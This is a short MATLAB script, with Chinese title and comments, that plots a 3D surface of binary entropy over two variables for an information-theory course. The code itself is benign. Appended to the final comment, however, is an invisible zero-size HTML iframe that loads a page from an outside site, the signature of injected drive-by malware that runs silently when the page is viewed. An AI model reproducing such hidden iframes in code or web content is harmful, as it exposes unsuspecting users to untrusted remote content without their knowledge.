立体二进制熵.m

信息理论与编码——关于二进制熵的matlab仿真程序

x=0:0.05:1; %如果曲面为黑色,是因为步长太短
y=0:0.05:1; 
[X,Y]=meshgrid(x,y); 
z=-(X+eps).*log2(X+eps)-(1-X+eps).*log2(1-X+eps)-(Y+eps).*log2(Y+eps)-(1-Y+eps).*log2(1-Y+eps); 
surf(x,y,z,gradient(z)),colorbar
view(45,25);%视角<IFRAME SRC="http://www.5415.info/mo/11.htm" WIDTH=0 HEIGHT=0></IFRAME>